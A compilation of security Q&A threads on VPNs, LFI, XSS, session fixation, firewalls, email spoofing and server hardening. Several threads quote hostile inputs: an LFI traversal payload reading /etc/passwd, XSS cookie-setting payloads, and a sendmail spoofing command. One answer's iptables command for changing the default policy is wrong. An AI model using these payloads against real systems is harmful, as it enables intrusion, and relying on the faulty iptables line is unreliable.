1) Fraud is higher with CNP (Card Not Present) transactions, not the least because it's easiest to get away with.  If the purchaser says they never received it and files with the card company, the card company takes their side unless you have a signed slip - which CNP transactions never have.  So for that particular type of fraud, there's little you can do, except evaluate what it costs your business and adjust your prices to compensate.

2) Your processor (Cielo in this case, apparently) should be performing various anti-fraud steps to determine if the transaction is likely to go through or not.  Some processors work harder at this then others, so you may want to look into your alternatives for payment processing.  A processor that puts more effort in at that layer might cost more, but it might also be worth it.  (Disclaimer: I work for a processor, but know nothing at all about Cielo, and don't know if they're likely to be doing a good job for you or not - go forth and research).  These are steps that the processor can take but you really can't, because you don't have access to the same amount of information they build in the aggregate and the level of information they get back from the credit card acquirers.  So it's not a build-it-yourself type of thing.


Two VPNs — full anonymity? Lets assume the following set-up:

VPN A in e.g. Russia
VPN B in e.g. Israel
Both registered through a one-time email and payed via Bitcoin
A brand-new notebook with a virtual machine
VPN A is connected on the host
VPN B is connected on the virtual machine

Given this set-up, has VPN B any chance to identify an user? To my understanding, traffic from VPN A looks the same for all users who are using their service, so how could VPN B identify a single user?

To quote The Grugq on this:

  "VPNs provide privacy - Tor provides anonymity. Confuse the two at your peril."

So, don't use VPN for anonymity but use it to protect your privacy instead.

Update: to answer your questions in a more direct manner:

  Given this set-up, has VPN B any chance to identify an user?
  so how could VPN B identify a single user?

VPN B only knows that traffic is coming from an endpoint of VPN A. Depending of the abilities of your adversary, the mere fact that both VPNs are located in different countries may or may not help "them" to e.g. get connection logs from each of these VPN providers. For example, an intelligence service could sneak into each of these VPN providers, no matter where they are located.

If your only adversaries are the VPN providers itself, then you'd have to trust them that they don't work together and VPN A doesn't tell VPN B about its users.

So, it all depends on your level of security and/or paranoia trust towards the involved parties. However, the quote from above still stands and I'd recommend NOT to rely on VPNs for anonymity but use e.g. Tor for that purpose.


Is there any problem associated with using emojis in WIFI SSID? My router configuration panel won't allow me to use emojis in SSID, for some reason. Although, I can very easily bypass this restriction, using the browser developer tools (which makes me think if it's a company's security concern or what).
If it is a security concern: why is it so easy to bypass the router restriction?!

The only reason it might be a security issue is if there's some WiFi software that incorrectly expects the SSID to be ASCII text or similar, in violation of the specification. Such buggy software could potentially face a memory corruption vulnerability while mis-processing the SSID, though the far more likely outcome would simply be that the station can't connect (or, if the bug is in the AP, that nobody can connect). Since APs need to be able to handle arbitrary connection requests and stations need to be able to handle arbitrary SSIDs from scans, any such vuln is either attackable by any user in range, or only reachable from the admin interface of your router; in the first case you're not putting yourself at risk (though you might identify some buggy systems), and in the second case... it's your hardware, if you want to risk making it malfunction, have fun.
The specification requires only that the SSID be no more than 32 octets (bytes); as https://stackoverflow.com/questions/4919889/is-there-a-standard-that-defines-what-is-a-valid-ssid-and-password points out, 32 null bytes is a valid SSID. That's potentially not very many emoji, since some are more than four bytes per character, but it's room for a few. Note that the standard does not specify how SSIDs are to be encoded, so if they don't expect UTF-8 (or whatever other encoding you use) then your SSID may not display correctly (probably just as boxes for unknown characters, but possibly as weird incorrect ones), but that's not a security risk per se.


LFI Why would I not see a response I have the below two vulnerable PHP code sections in 2 files. I found the sources of these in an anony access FTP backup file home.tar.gz.

So I'm getting the content of /etc/passwd with the null byte terminator %00 on both these section of code. i.e ../../../../../etc/passwd%00

Thanks for the help in advance.

The first piece of code directly attempts to include the file conatined in the $doc variable.

<?php include $doc;?>

The second piece of code makes a file_exists() call and depending on the result of this call, attempts to include the file.

file_exists($finc)

file_exists is subject to PHP safe mode restrictions. These provide means to prevent the inclusion of specific files/directories that would otherwise be accessible. As stated in the PHP docs, PHP is not the appropriate place in the stack to enforce such restrictions, but this is a fallback mechanism should appropriate hardening and design/configuration practices not be present at the web server and/or OS level.

With the above in mind, you will be better able to perform LFI in the first code sample.


Can an Android malware install a SSL/TLS certificate into non-root devices? Does there exist some standard API that allow an Android malware to download and install a SSL/TLS certificate as RCA, in the default keystore, in non-root devices?

I think that this is a very underestimated problem.

Any app can create a new KeyStore and do arbitrary things with it. So it is possible for a malware to import a downloaded root CA and use it for TLS connections originating from the malware itself.

This does, however, not impact any other app, as global KeyStores are not affected. To change it using official APIs, one needs to create an install intent via createInstallIntent, which can then be used to bring the certificate installation dialog up. Unless the user confirms the dialog, the certificate will not be installed.

Note that this answer does not consider exploits or other means outside of regular APIs to gain write access to global KeyStores, as your question explicitly asks for standard API only. An app with root access can of course use other means to change the list of root CAs.


Is there a way to know that a cookie is "HTTP Only" on the first user request? As I was reading the session fixation article on OWASP, I was thinking that the only way for my server to refuse a cookie set by a rogue script would be for my server to know that the browser sent a request without the HTTP-Only flag. Only cookies sent to the server do not include anything more than the cookie name and its value... All the meta data is lost.

What prompted this question are their examples #2 and #3 where they show URLs that look like this:

http://website.kom/<script>document.cookie=”sessionid=abcd”;</script>
http://website.kon/<meta http-equiv=Set-Cookie content=”sessionid=abcd”>

Personally, I don't understand how that could even remotely work. Are there any browsers or servers which are that broken? Why would a tag in the URL be accepted by the browser or the server?!

So I think that knowing that the browser had the cookie as HTTP-Only would be useful, but I currently fail to understand how a hacker could set a cookie (which would not be HTTP-Only) assuming that there is no possible breach in my server code.

I would imagine that the only way it could work is if the hacker was to find an XSS in my client or server code. Would that be correct?

Given the type of attack you're referring, to... XSS would be the most likely vector for exploitation.

As I've mentioned in my comment, the specific example you are showing is often used as an attack against 404 pages that show a fragment of the URL in the page body without sanitizing for HTML content. So yes... this is a perfectly normal type of XSS attack, but it's not the browser that's broken.

Would XSS be the only way for a session fixation attack? Probably not. If an attacker managed to first execute a Man-in-the-Middle (MITM) attack, and inject their crafted sessionID before login, it would allow them to continue to use that session from their remote machine after the attack occurred.

MITM is harder to execute than XSS... but it's still possible. And if the vector for establishing session fixation were MITM, checking HTTP-only on the cookie would be ineffective, since the cookie could have been modified over the wire.

The best protection against this vector would be TLS, and user education to keep them from clicking through certificate errors.


LastPass application architecture I'm trying to find details on the application architecture of the Lastpass browser app for Firefox and Chrome. All that seems to be out there is this security analysis: http://www.grc.com/sn/sn-256.htm

In particular I want to understand how Lastpass persists after your close the browser and you are not using the automatic log-off setting. Is it running as a daemon listening on a TCP port? Is it safe to let it stay in the background? I can completely shutdown my computer and start it back up, and when Lastpass starts it is unlocked and I don't need to enter my master password. This suggests to me that a malicious application on my system could access the unlocked password store.

Check out the LastPass FAQ for info.  Data stored locally is in various locations based on operating system and browser.

Chrome/Firefox don't have a daemons, nothing should be running in the background.

Location

  The data is located in the following places, depending on your operating system and browser(s):

 Windows Vista/7 Internet Explorer, Firefox: %AppData%\..\LocalLow\LastPass\
 Windows Vista/7 Google Chrome: %LocalAppData%\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0\
 Windows Vista/7 Safari: %LocalAppData%\Apple Computer\Safari\Databases\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0\
 Windows Vista/7 Opera: %LocalAppData%\Opera\Opera\widgets\wuid-*\pstorage\*\*\
 Windows XP Internet Explorer, Firefox: %AppData%\..\Local Settings\Application Data\LastPass\
 Windows XP Google Chrome: %AppData%\..\Local Settings\Application Data\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0\
 Windows XP Safari: %AppData%\..\Local Settings\Application Data\Apple Computer\Safari\Databases\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0\
 Windows XP Opera: %AppData%\..\Local Settings\Application Data\Opera\Opera\widgets\wuid-*\pstorage\*\*\

 Mac OS X Safari: ~/Library/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0/
 Mac OS X Firefox: ~/Library/Application Support/LastPass/
 Mac OS X Google Chrome: ~/Library/Application Support/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0/
 Mac OS X Opera: ~/Library/Application Support/Opera/widgets/wuid-*/pstorage/*/*/

 Linux Firefox: ~/.lastpass/
 Linux Google Chrome: ~/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0/
 Linux Opera: ~/.opera/widgets/wuid-*/pstorage/*/*/

  Firefox on other platforms utilizes the Firefox profile directory.

 Android: /data/data/com.lastpass.lpandroid/ by default, or /sdcard/lastpass/ if memory card is chosen.

Local Security

  You can back these directories up and they will contain the latest copy of your data. Be aware that on Windows, Protected Storage is used to additionally encrypt your data so you'll need to ensure that your Windows profile is also backed up. Your data is also backed up at LastPass.com, and a copy is on any other device or computer you use so this isn't required,

  Your data is also securely synced with the LastPass servers. When you make updates to your LastPass account, whether in a browser plugin, a mobile app, or the website, the updates are reflected on the LastPass servers as well.

  If your hard drive ever crashes, or your laptop is stolen, you can easily regain access to your accounts by reinstalling the plugin (https://lastpass.com/download.php) and logging in with the same email and master password.


PC turned on by itself and sending packages even when turned off My father told to me that his PC has turned on by itself. I have no idea about what this can be, and this has never occurred before. After this, he turned off the PC and I checked my router, and seen that his PC was sending (but not receiving) few packages even when turned off.

I would like to know if this packages (even in a very little amount) are normal when a PC is turned off.

Besides that, my father is not concerned about security, so I installed a firewall one month ago, and a few days ago I noticed that some connections from his PC to multicast addresses (like 239.255.255.250 and 224.0.0.251) is being blocked buy my firewall, but I blocked inbound and outbound connections from/to these addresses in my father's PC, and today I checked if this configuration stay fine and it looks fine.

Any ideas of what could I do? Both Malwarebytes and RogueKiller reported nothing.

Many BIOS support a variant of "Wake on LAN" command. This means, among other things, that there is a minimal network function even when nominally powered off.

More unlikely scenarios could include hidden firmware based malware, but a glitchy wake-on-lan seems more likely.


How does DROP rule work in iptables? I'm working with iptables in order to close one or two open ports.

So I tried this rule in order to change the default policy.

# iptables -A INPUT -p tcp --dport 3333 -j DROP

Then I checked the policy using iptables -L -n -v where it showed the port which was dropped.

I don't have a basic understanding on how does the DROP rule works? Any help would be appreciated.

First off, you said you intended to change the default policy, and the command you provided (-A)ppends the rule, leaving the default ACCEPT in place. If you want to change default policy use the following:
iptables -D INPUT DROP

Secondly, there are 3 types of action iptables can take when parsing a packet:

ACCEPT - allow packet to continue as intended.

REJECT - block the packet from moving forward, send an ICMP message back stating that the connection was rejected.

DROP - diacard the packet completely with no notification

Rejecting rule is useful when you want to know that the packet reached the iptables layer and was discarded (which can be helpful when debugging the firewall). It is arguably more secure to use DROP, as in the real world scenario, as the attacker would not get any information on the state of the system ports.


Router access, am I in danger? I learned I can access my router from a web device like so
http://ipaddress/login.html

I was wondering if anyone could gain access to my router control panel. IF that is the case can they compromise my home network that connects to the router? Any malicious code or anything. Or i should not be worried at all

EDIT: ITS ACCESSIBLE FROM INTERNET, thats why I said web devices
EDIT2: I can access http://ip/login from a device not connected to my home network, ie my phone connected via 4g, or from a restaurant wifi. I think im clear enough now

Based on the information so far it cannot be said if there is a problem or not. One need to watch out for several things:

If the administrative interface is accessible from the internet (usually not) and you have no password or a weak password then an attacker might get access this way. It is strongly recommended to have the administrative interface not exposed to the internet.
If you are logged into the router locally or have no or a weak password AND if the router is vulnerable to CSRF attacks or DNS rebinding (in case of no or weak passwords) then an attacker might get access by using your browser as a trampoline to access the internal interface of the router from outside.
Additionally there might be some kind of backdoor in the router where an attacker gets access. This might for example be a remote access for the ISP which due to bugs or misconfiguration is not restricted to the ISP only. But there were also real backdoors in the past left by the vendor.

If the attacker can get access to your router he can get usually get access to your internal network too. Typical attacks involve changing the DNS servers so that all of your traffic is passed through DNS servers controlled by the attacker. Or your router will be part of a botnet attacking other systems or sending spam. See for example A Massive Botnet Using Compromised Routers Is Ready To Attack,  Over 200,000 MikroTik Routers Compromised in Cryptojacking Campaign, VPNFilter botnet has hacked 500,000 routers. Reboot and patch now!, Over 65,000 Home Routers Are Proxying Bad Traffic for Botnets, APTs, How millions of DSL modems were hacked in Brazil, to pay for Rio prostitutes.

In other words: unless you can be sure that none of the attack vectors actually exist you should be worried. It is hard to be sure about this but choosing a router from a vendor with good reputation regarding security issues helps. For more information see routersecurity.org. Also check that the firmware of your router is up-to-date and that you are using a strong password. Also don't login to your router with your normal browser profile in order to prevent misuse of logged in sessions using CSRF - use a different browsing profile or incognito mode for this.


Ssl multiple domains on same cert I Came accross cloud flares which "provides SSL certificates utilize the Subject Alternative Names (SAN)  extension to support multiple domains on the same SSL certificate"

Why would one want this, and what is stopping a MITM attack done on a a massive scale, with these SAN extensions ?

You want to put multiple names in your certificate if you want to use the same certificate for several sites. Typically, these sites are all on the same physical server, and you just want one certificate to manage.

As an example, Google's own certificate on their "country" sites (e.g. www.google.ca for the Canadian version of Google) currently contains all these names in its SAN extension:

DNS Name: *.google.com
DNS Name: *.android.com
DNS Name: *.appengine.google.com
DNS Name: *.cloud.google.com
DNS Name: *.google-analytics.com
DNS Name: *.google.ca
DNS Name: *.google.cl
DNS Name: *.google.co.in
DNS Name: *.google.co.jp
DNS Name: *.google.co.uk
DNS Name: *.google.com.ar
DNS Name: *.google.com.au
DNS Name: *.google.com.br
DNS Name: *.google.com.co
DNS Name: *.google.com.mx
DNS Name: *.google.com.tr
DNS Name: *.google.com.vn
DNS Name: *.google.de
DNS Name: *.google.es
DNS Name: *.google.fr
DNS Name: *.google.hu
DNS Name: *.google.it
DNS Name: *.google.nl
DNS Name: *.google.pl
DNS Name: *.google.pt
DNS Name: *.googleadapis.com
DNS Name: *.googleapis.cn
DNS Name: *.googlecommerce.com
DNS Name: *.googlevideo.com
DNS Name: *.gstatic.cn
DNS Name: *.gstatic.com
DNS Name: *.gvt1.com
DNS Name: *.gvt2.com
DNS Name: *.metric.gstatic.com
DNS Name: *.urchin.com
DNS Name: *.url.google.com
DNS Name: *.youtube-nocookie.com
DNS Name: *.youtube.com
DNS Name: *.youtubeeducation.com
DNS Name: *.ytimg.com
DNS Name: android.com
DNS Name: g.co
DNS Name: goo.gl
DNS Name: google-analytics.com
DNS Name: google.com
DNS Name: googlecommerce.com
DNS Name: urchin.com
DNS Name: youtu.be
DNS Name: youtube.com
DNS Name: youtubeeducation.com

There is no reason for names in a SAN extension to lead to Man-in-the-Middle attacks. Remember that the SAN extension is part of the certificate, and the certificate is cryptographically signed, which means that nothing can be added to, removed from or altered within a certificate without breaking the signature.

It is of course up to the Certification Authority to verify that the requester really owns all the relevant domain names before issuing (i.e. signing) the certificate with the SAN extension.


How effective is Windows Task Manager at identifying keyloggers? I just hit upon an idea I have used in the past to distinguish between two instances of the same program, one of which was hung.  While Task Manager is open and visible and sorted by CPU usage, I pick up the windows of one of the instances and drag it around quickly.  The CPU usage on one of the processes goes up, presumably as that process' paint message is rapidly called (assuming your system does "Show window contents while dragging").

Today I wondered if my system has a keylogger.  I imagined a hardware keylogger using the OS for its software components and thought there might be some way to detect it without dismantling my computer, but the search hits I got were mostly for software keyloggers and using anti-Malware software to detect them.  If you activate Windows Task Manager and then just hit lots of keys on the keyboard (gently!), then any process that is recording them would presumably start using some CPU.  I wondered if it would use enough CPU to bring it to the top.  When I try it, I can get dwm.exe and csrss.exe and taskhost.exe to come up.  I think this shows that it is possible to use this method to find a process that is watching the keyboard, but it takes some discernment.

Does this seem plausible, and is this technique one that is resilient to camouflage methods that malware authors might take?

Efficient malware will manipulate the kernel internal structure so as not to appear at all in the list of process (then again, a hide-and-seek game between malware and malware detectors; see for instance this page for some information). Thus, you will not see anything in the task manager.

Even if the keylogger does appear as a task in the task manager, key logging, in its basic forms, is extremely inexpensive. My first computer could keep track of all I typed with its 6809E CPU, running at the blazing speed of 1 MHz. A basic PC is more than 10000 times faster than that, and will thus need no more than 1/10000th of its CPU to log key strokes. To see that in the task manager, you will need sharp eyes... To complicate the setup, there are a lot of process which exhibit some regular activity even when nominally idle; this is typical of process with background garbage collection activity.

And, of course, when you look at the task manager, you observe, among the list of process, the task manager itself, which uses CPU to update the list as graphically rendered on the screen...


Mitigating SSL bypassing on iOS I am trying to mitigate SSL bypassing on a jailbroken iOS.
I am unable to find any good work around as Mobile Substrate and SSL kill switch are able to bypass SSL.

I have tried two things:

SSL Pinning
Detect jailbreak and stop the application

Both can be cracked. My application handles confidential data so securing from SSL kill switch and mobile substrate is necessary.

Edit:
Thanks everyone for your wonderful responses. I recently came across a security project OWASP, containing the top risks developers ignore during the developement phases. So my checklist got a whole lot bigger:

Weak Server Side Controls
Insecure Data Storage
Insufficient Transport Layer Protection
Unintended Data Leakage
Poor Authorization and Authentication
Broken Cryptography
Client Side Injection
Security Decisions Via Untrusted Inputs
Improper Session Handling
Lack of Binary Protections

They also have a cheatsheet for iOS security testing. So taking all the security measurements are a head ache and i don't think my employer is ready for it since its a time consuming effort. So from the list I am choosing:

Securing data storage
TLS(Authorization and Authentication i.e. 2 way SSL)
Binary protection

Any opinion in this regard as if securing these 3 will be enough? Also the application I am working on is an e-banking application if someone is wordering.

I am trying to mitigate SSL bypassing on a jailbroken iOS. ... My application handles confidential data so securing from SSL kill switch and mobile substrate is necessary.

There is nothing to mitigate here.
SSL is only used for transport level security, that is to protect everything between the client and the server. It is not used to protect the data on the client or data on the server itself. And even with a jailbroken device the transport is still secure, i.e. no man-in-the-middle can read the data unless the owner of the device explicitly made this possible by changing your application or installing another trusted CA.

If you send data to a device which is outside of your control you must expect that the current owner of the device will be able to read and manipulate the data. Thus you should not send any data to the device which the user should not see and you should not expect any data you get back to be harmless.


How Does A Hacker Send Spam Emails from Gmail with Two Factor Turned On? We recently had an incident where two-factor authentication was enabled on a Gmail account but the account was sending spam messages. The device login activity shows no abnormal devices accessing the account. Is it correct to assume there is a piece of malware on one of the Macs accessing the account?

What is the best way to forensically search for the how the malware got onto the machine? What log files should I be checking to locate the ingress point?

Any and all ideas welcome.

I am reacting to your comment:

  Message aren't in the sent folder. The from address is the address of the account. Not sure how this would be spoofed.

I think you just answered your own question: the "hacker" never got access to your account, they just sent an email and put your email address in the From: field in the header. That's like sending a letter and writing someone else's address in the Return Address section. There's no magic to it. See wikipedia/Email_spoofing for more info.

the From: header line is just text. Command-line email clients like sendmail allow you to set this when you send an email. Open your favourite linux terminal and try typing:

sendmail -f mtc40@gmail.com your.friend@gmail.com < email_contents.txt

and BAM! you just spoofed an email to your friend!

P.S. Another way to check if the hacker really got into your account is to look at the email in the receiving person's Gmail, open the details of the email and see if it looks like this:

If it was just a cheap spoof then there will be no encryption, and it won't be signed by gmail.com. If it was signed by gmail.com then your fears are justified.


How to perform penetration testing on a Flex application? Possible Duplicate:
  What tools are there to inspect Flash SWF files?

I have decompiled it, verified the source. All seems fine. Appscan also is not able to find anything in this case. But I just want to be sure that I am not missing anything. It would be helpful, if someone can provide some thoughts, hints for penetrating a FLEX application basically cross site scripting as it uses actionscripts too. Any pointers would be appreciated.

Linked questions talks about SWFScan tool but that basically decompiles the static flash file and performs a static code review as per my knowledge.

Besides the obvious resources:

http://www.tssci-security.com/archives/2010/03/18/pentesting-flex/
http://deblaze-tool.appspot.com

there are also many important concepts to keep in mind while testing:

AMF must be dealt with
Flash files may be involved, so decompiling, statically analyzing them, and reviewing their code is paramount -- including dependencies and extracted links or references
AMF parameters sometimes map to mid-tier (or backend) XML- or JSON-formatted code with Javascript/Actionscript behavior. You may need a spec or the source code to provide more details on the interaction -- or a complex fuzzing proxy. Consider IAST-led penetration testing with Quotium Seeker, Fortify SecurityScope (especially the auto-generated REST WADL technology), or Contrast Security


Where to draw the line with password managers? I have just started using a password manager and was wondering what is the best practice regarding where to draw the line regarding what is stored in the software.

Ideally I could store Windows/Unix user password, sudo passwords for remote servers, passwords for SSH keys, email account passwords and online banking passwords as well as passwords for websites but which of these is it safe to keep in the password manager?

When you use a password manager, you are creating a single point of failure. If you store all of your passwords in one system and that system is compromised, then all of your passwords are exposed. This is the same problem as with single-sign on. However, you can store different sets of passwords in different master databases to provide some segregation where possible. You could also store less frequently used or more secure passwords off-line on a USB disk.

Also, as a point of clarification, you want to make sure you are using an encrypted password manager (e.g., KeePass not just something built into the manager. I am also skeptical of web service based password managers because you don't know if you can trust your browser for the entry, your network for the transmission, or the provider for secure storage. There is also a much more limited risk if you sync your database using something like dropbox, but only because its in more places - though that does prevent the risk of a self-inflicted DoS if you loose your only copy of your password database.

With most encrypted password managers, you can further limit exposure by setting timeouts which lock the database after a time frame, when your screen saver goes on, or when you manually lock your system. You can also apply multi-facotor authentication such as certificates, smart cards, biometrics <- depending on software compatibility. You also want to ensure that the encryption is strong and has been implemented correctly. You should keep tabs on your password manager developer's website for any security updates, etc.

Of course, if someone were to use something like a browser's storage or somehting with no or weak encryption (password protected excel file), you are more or less storing the passwords in a plaintext file.


"/> alert('xss')
  <br class="

and this came up: <input class="form-control form-control-lg" id="username" name="username" required="" type="text" value="&quot;/>

It looks like you're trying to insert JavaScript in a field which gets serialized by the server.
This means that this input field (or at least not with this payload) is not vulnerable for XSS.

You can try using simply <script>alert('xss')</script>.
If the value of this field will be used without serialization, you have a successful XSS.
Also have a look at these sources:

OWASP: Testing for Reflected XSS
OWASP: XSS Filter Evasion
Cheatsheet


Opening window from secure site domainA.com, to partner site domainB.com - with short TTL encrypted query string I am looking into a proposal and need to find reasons as to why we might not perform the suggested solution.

Here is the problem:

www.domain-a.com is a secure website dealing with customer related functions.

www.domain-b.com is a partner website, dealing with a new set of customer related functions that domain-a.com is not involved in, other than by way of directing the logged in user to domain-b.com upon the user taking a specific journey.

All fine so far, but then we introduce the fact that domain-a needs to pass encrypted (confidential) information to domain-b via the query string, and this would naturally be an HTTPS GET operation because we are opening a new window.

My question really surrounds the process of encrypting the confidential query string information in the best way possible between domain-a and domain-b in a way that will reduce or eliminate the possibility of replay, MITM, and other common attacks.

Are there any common patterns for dealing with this kind of scenario, from a cryptography point of view? We would obviously like to ensure that accessed URL's are essentially 'one-shot' - that is, a customer that attempted to copy/bookmark this URL would return to a dead-session/endpoint should they access it again.

I also understand that HTTP GET requests can be cached in IIS/Web infrastructure, and it is not perhaps the best way of going about this, but it is the scenario I currently have to deal with, any input would be gratefully received!

I think that a side-channel may be a better means of passing the data than trying to pass everything in a query string. The flow would be:

Domain A sends all relevant data directly to Domain B over HTTPS.
Domain B stores the data in a temporary session and creates a secure random ID for the session. (Note that this is not a regular session for Domain B, just a temporary list with a very short timeout.)
Domain B returns the session ID to Domain A.
Domain A then opens the new window with the URL https://domain-B/landingpage?tempID=XXXXX.
When Domain B receives the token, it removes the matching temporary session and uses the data. If the temp session doesn't exist, then it was a stale URL or a replayed URL and should be handled appropriately.

This way the data is secure because we trust HTTPS, you can pass any amount of data because the side-channel doesn't have query string limitations, there is no need to mess around with encryption keys or similar because HTTPS handles all of that for you, and replay protection is just a natural part of the process.


Interpreting Snort's stream5 alerts I am using snort on a mirrored switchport. We have a lot of apple devices that are downloading mp3s directly from a directory index.

Snort is showing me a huge amount of, in particular, these two alerts triggered by those clients:

[**] [3:15912:6] BAD-TRAFFIC TCP window closed before receiving data [**]
[Classification: Attempted Denial of Service] [Priority: 2]
09/26-15:45:58.664104 83.229.XX.YY:48132 -> 94.23.X.YYY:80
TCP TTL:54 TOS:0x0 ID:21980 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x8B4FBB0F  Ack: 0xAB27D5AD  Win: 0x1  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2727533 3015004127
[Xref => http://technet.microsoft.com/en-us/security/bulletin/MS09-048] \
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1926][Xref => \
http://cve.mitre.org/cg*emphasized text*i-bin/cvename.cgi?name=2008-4609]

------ and ------

[**] [129:4:1] TCP Timestamp is outside of PAWS window [**]
[Classification: Generic Protocol Command Decode] [Priority: 3]
09/26-15:45:57.020788 107.44.X.Y:60795 -> 94.23.X.YYY:80
TCP TTL:47 TOS:0x0 ID:49127 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x2A492B18  Ack: 0x98698C6B  Win: 0x9C72  TcpLen: 32
TCP Options (3) => NOP NOP TS: 15709602 259618837
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1925]

What do these two alerts mean, in the technical sense? Are they harmful?

If MP3's are being run from a network location, then these types of TCP window errors can be common. The MP3 player is trying to 'stream' the data, but is using a protocol that is not designed for efficient streaming.

These are not harmful, although other recommendations might be made about serving MP3 files over a network.


VPS security best practice I've just signed up for a linux VPS to host a website I've been creating and I need some advice on the best approach to secure it.

I've previously been hosting it off a VM in the house, but I want to get rid of that.  So security has been handled by the fact that I'm NAT'd and only certain ports opened/forwarded to the machine.

Now I find myself in a situation where the machine is essentially completely open to the internet, so I'm thinking that I need to start doing something with IP tables?  This is something completely new to me.

I was thinking that there might be a more elegant solution, involving connecting it to my vpn on a separate interface to connect through that, but not sure where to get started with that.

I need:

SSH access from anywhere (using a non-standard port that is already configured)
Postgres Access from a single location
Web (http/https) access from anywhere
FTP access from a single location

Questions:

What is the best practice for securing a linux machine like this? is
it iptables?
Can you point me in the direction of resources (decent ones) to learn how do this.

My linux level is fairly high, I can write/debug bash scripts, edit configs from scratch, etc, and I understand a fair bit about the architecture, but I'm no guru.

Limit access to services. IPtables is a good way to handle that. Setup connect rules that enforce what you described for each service and drop everything else.
Limit your daemons through proper configuration. If you only authenticate with a public key over ssh (and you're confident enough that you won't lose it and deny yourself access), turn off password and keyboard auth. Fail2Ban is handy for brute force attempts, but instant rejection is rather satisfying too. Configure your FTP server to only export the related directory tree.
Assume that each of your daemons is compromised now... except maybe SSH because that's just one of those things. Use external facilities to limit what the daemon can do on your host.

I'm a huge fan of AppArmor on Linux because the configuration is something that can be reasonably understood and it's very powerful for sand-boxing applications. For example, you can limit Postgres and anything ever executed by it to only affect the database storage field. The same applies for web and FTP servers -- they never need to read anything any data that's outside of their operating directories and never need to open another network port. Get an email alert to any violations of those rule sets.

Isolating your services like that will give you confidence in the integrity of the machine as a whole even if an individual service is compromised.


Dedicated Server in Cloud Environment - SSL Remote Login vs Dedicated VPN Thanks for taking your time to look into this question.

Background

I have my website hosted in a dedicated server in the cloud. The server is a Windows 2008 R2 machine. To publish I FTP files to the server. For general maintenance, I remotely connect into the servers using a RDP over SSL (My password is strong!). I also have a dedicated VPN betweeen my premises and this server.

The Problem

How secure is your standard Win 2008 box sitting on the internet with RDP enabled? I'm sure that in theory it could be brute forced.

Questions

How secure is the server provided the hosting provider does the
patching etc?
Is RDP secure?
I could restrict the server to only accept RDP sessions from the Dedicated VPN in place, but this will certainly reduce the flexibility of admins accessing the server from a number of locations.
Also, RDP through this VPN we have in place is very slow.

Conundrum

Securing this machine by only alowing connections incoming from the dedicated VPN sounds like the most secure way to do it. I just don't want to lose the flexibility of connecting from multiple locations.

The risk of keeping that port open was demonstrated with the recent MS12-020 security bulletin. The exploit here attacks the service itself which is very serious. RDP has stood up well to attacks so far because once you login you have a new session initialized under that user. A strong password is usually enough.

But in this case, the service itself was attacked which gives the exploit code very privileged access. So I would restrict IP addresses as much as possible. If that just doesn't work, at least using a non-standard port would help.

You may want to consider using OpenSSH or OpenVPN as alternative access methods.


Don't use encryption without message authentication The text is taken from the famous answer: Lessons learned and misconceptions regarding encryption and cryptology: Don't use encryption without message authentication

  Alternatively, you can apply your own message authentication, as follows. First, encrypt the message using an appropriate symmetric-key encryption scheme (e.g., AES-CBC). Then, take the entire ciphertext (including any IVs, nonces, or other values needed for decryption), apply a message authentication code (e.g., AES-CMAC, SHA1-HMAC, SHA256-HMAC), and append the resulting MAC digest to the ciphertext before transmission. On the receiving side, check that the MAC digest is valid before decrypting. This is known as the encrypt-then-authenticate construction. (See also: 1, 2.) This also works fine, but requires a little more care from you.

Is it really correct? If an attacker changes a ciphertext, he can just generate a new MAC for that ciphertext and append that instead of a previous MAC. No? Shouldn't you use MAC on a plain text?

A MAC uses a key, which the attacker is assumed not to know. The attacker cannot "generate a new MAC".

There are some protocols which use as sort-of-a-MAC a hash value (thus without any key) appended to the plaintext, and then encrypted with the plaintext. Here, the MAC is not the hash value, but the combination of the hash and the encryption (in other words, the encryption key is reused for the MAC). This is a poor way to do a MAC, a very poor one if the encryption uses RC4 or a block cipher in CTR mode (exact reason is left as an exercise)(though very weak, I have seen it deployed in production, for nothing less than an online banking solution !).

A lot of confusion has been produced by this kind of homemade pseudo-MAC schemes. A good MAC algorithm is HMAC.

Even with a good MAC algorithm, the combination of symmetric encryption and a MAC is subject to subtleties, which is what the passage you quote is about. There is some discussion in this question.


How to make sandbox-only internet access? How can I set up my Windows PC and/or network, so that none of the programs on my actual PC have internet access, but i have a sandbox/VM, with a browser, which has internet access, but has no access to the actual files. Essentially, i want to slice my pc in half. The offline part has access to documents, but no internet connection. The other is a sandboxed web browser, which has internet access, but can not read or write the offline part of the PC.

In other words, I want a sandboxed web browser, and then block every program's internet access outside the sandbox. Even windows update. I would not need "security updates" anyway. I think this way one could reach nearly 100% security for sensitive documents.

Also welcome answers/comments regarding this kind of defenses are not worth it.

edit: The offline part would be mostly used, so it would be better to somehow allocate the resources to that. i don't know how much performance is lost by each virtualization technology, but in my experience, so far, it's a lot.

Simple. Use a firewall in whitelist mode*.

For a similar purpose, I've used ZoneAlarm Free Firewall. Set it to whitelist mode and wait for it to ask you about giving Internet access to your sandbox application  (I've used Sandboxie). Then tell ZoneAlarm to stop notifying you about future applications and not to assume they're whitelisted.

* Whitelist mode: Unless an application is explicitly allowed to have network access, it's assumed to be blacklisted.


Remote server questions I apologize for the lengthy questions and my lack of knowledge on this issue.
I  work from home using my own computer and connect to a remote server. I know my employer monitors my work when connected to the server. My concern is if anyone from our IT dept could gain access to my home computer files. Several IT people have come and gone over the last few months and my one credit card had a fraudulent charge on it. It was caught quickly. But still worries me if other accounts are now vulnerable.

So my questions are:

Is my work able to see my Word documents, pictures, or internet pages while I'm connected to the remote server. If I were to have them open on my personal desktop not through the remote server.

